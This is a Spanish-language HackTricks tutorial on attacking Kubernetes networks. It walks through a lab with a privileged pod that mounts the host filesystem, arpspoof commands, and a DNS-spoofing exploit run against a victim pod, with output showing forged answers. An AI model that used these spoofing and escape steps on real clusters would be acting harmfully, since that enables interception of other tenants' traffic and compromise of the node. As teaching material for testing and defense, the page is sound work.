Kubernetes Network Attacks

Ataques de red en Kubernetes

¡Apoya a HackTricks y obtén beneficios!

Introducción

Kubernetes por defecto conecta todos los contenedores que se ejecutan en el mismo nodo (incluso si pertenecen a diferentes espacios de nombres) hasta la capa 2 (ethernet). Esto permite que un contenedor malicioso realice un ataque de ARP spoofing a los contenedores en el mismo nodo y capture su tráfico.

En el escenario se van a crear 4 máquinas:

  • ubuntu-pe: Máquina privilegiada para escapar al nodo y comprobar las métricas (no es necesario para el ataque)

  • ubuntu-attack: Contenedor malicioso en el espacio de nombres predeterminado

  • ubuntu-victim: Máquina víctima en el espacio de nombres kube-system

  • mysql: Máquina víctima en el espacio de nombres predeterminado

echo 'apiVersion: v1
kind: Pod
metadata:
  name: ubuntu-pe
spec:
  containers:
  - image: ubuntu
    command:
      - "sleep"
      - "360000" 
    imagePullPolicy: IfNotPresent
    name: ubuntu-pe
    securityContext:
      allowPrivilegeEscalation: true
      privileged: true
      runAsUser: 0 
    volumeMounts:
    - mountPath: /host
      name: host-volume
  restartPolicy: Never 
  hostIPC: true 
  hostNetwork: true 
  hostPID: true 
  volumes:
  - name: host-volume
    hostPath:
      path: /
---
apiVersion: v1
kind: Pod
metadata:
  name: ubuntu-attack
  labels:
    app: ubuntu
spec:
  containers:
  - image: ubuntu
    command:
      - "sleep"
      - "360000" 
    imagePullPolicy: IfNotPresent
    name: ubuntu-attack
  restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
  name: ubuntu-victim
  namespace: kube-system
spec:
  containers:
  - image: ubuntu
    command:
      - "sleep"
      - "360000" 
    imagePullPolicy: IfNotPresent
    name: ubuntu-victim
  restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
  name: mysql
spec:
  containers:
  - image: mysql:5.6
    ports:
      - containerPort: 3306
    imagePullPolicy: IfNotPresent
    name: mysql
    env:
      - name: MYSQL_ROOT_PASSWORD
        value: mysql
  restartPolicy: Never' | kubectl apply -f -
kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash"
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"

Redes básicas de Kubernetes

Si desea obtener más detalles sobre los temas de redes introducidos aquí, consulte las referencias.

ARP

En general, la red de pod a pod dentro del nodo está disponible a través de un puente que conecta todos los pods. Este puente se llama "cbr0". (Algunos complementos de red instalarán su propio puente). El cbr0 también puede manejar la resolución ARP (Protocolo de resolución de direcciones). Cuando llega un paquete entrante a cbr0, puede resolver la dirección MAC de destino utilizando ARP.

Este hecho implica que, por defecto, cada pod que se ejecuta en el mismo nodo va a poder comunicarse con cualquier otro pod en el mismo nodo (independientemente del espacio de nombres) a nivel de Ethernet (capa 2).

Por lo tanto, es posible realizar ataques de ARP Spoofing entre pods en el mismo nodo.

DNS

En los entornos de Kubernetes, generalmente encontrará 1 (o más) servicios DNS en ejecución generalmente en el espacio de nombres kube-system:

kubectl -n kube-system describe services
Name:              kube-dns
Namespace:         kube-system
Labels:            k8s-app=kube-dns
                   kubernetes.io/cluster-service=true
                   kubernetes.io/name=KubeDNS
Annotations:       prometheus.io/port: 9153
                   prometheus.io/scrape: true
Selector:          k8s-app=kube-dns
Type:              ClusterIP
IP Families:       <none>
IP:                10.96.0.10
IPs:               10.96.0.10
Port:              dns  53/UDP
TargetPort:        53/UDP
Endpoints:         172.17.0.2:53
Port:              dns-tcp  53/TCP
TargetPort:        53/TCP
Endpoints:         172.17.0.2:53
Port:              metrics  9153/TCP
TargetPort:        9153/TCP
Endpoints:         172.17.0.2:9153

En la información anterior se puede ver algo interesante, la IP del servicio es 10.96.0.10 pero la IP del pod que ejecuta el servicio es 172.17.0.2.

Si comprueba la dirección DNS dentro de cualquier pod, encontrará algo como esto:

cat /etc/resolv.conf
nameserver 10.96.0.10

Para habilitar el reenvío de IP: echo 1 > /proc/sys/net/ipv4/ip_forward


</div>

### ARPSpoof

```bash
apt install dsniff
arpspoof -t 172.17.0.9 172.17.0.10

DNS Spoofing

Como ya se mencionó, si compromete un pod en el mismo nodo del pod del servidor DNS, puede MitM con ARPSpoofing el puente y el pod DNS y modificar todas las respuestas DNS.

Tiene una herramienta y tutorial realmente buenos para probar esto en https://github.com/danielsagi/kube-dnsspoof/

En nuestro escenario, descargue la herramienta en el pod del atacante y cree un **archivo llamado hosts ** con los dominios que desea falsificar como:

cat hosts
google.com. 1.1.1.1

Realice el ataque a la máquina ubuntu-victim:

python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
Bridge:  172.17.0.1 02:42:bd:63:07:8d
Kube-dns:  172.17.0.2 02:42:ac:11:00:02

[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop
#En la máquina ubuntu
dig google.com
[...]
;; ANSWER SECTION:
google.com.		1	IN	A	1.1.1.1

Si intenta crear su propio script de falsificación de DNS, si solo modifica la respuesta DNS que no va a funcionar, porque la respuesta va a tener una IP de origen la dirección IP del pod malicioso y no será aceptada. Necesita generar un nuevo paquete DNS con la IP de origen del DNS donde la víctima envía la solicitud DNS (que es algo como 172.16.0.2, no 10.96.0.10, ese es el IP del servicio DNS de K8s y no la IP del servidor DNS, más sobre esto en la introducción).

Capturando Tráfico

La herramienta Mizu es un visor de tráfico API simple pero potente para Kubernetes que le permite ver toda la comunicación API entre microservicios para ayudarlo a depurar y solucionar problemas de regresión. Instalará agentes en los pods seleccionados y recopilará su información de tráfico y le mostrará en un servidor web. Sin embargo, necesitará permisos altos de K8s para esto (y no es muy sigiloso).

Referencias

¡Apoya a HackTricks y obtén beneficios!

Última actualización